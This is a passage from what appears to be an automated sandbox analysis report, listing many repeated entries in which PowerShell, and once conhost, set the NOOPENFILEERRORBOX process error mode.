              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
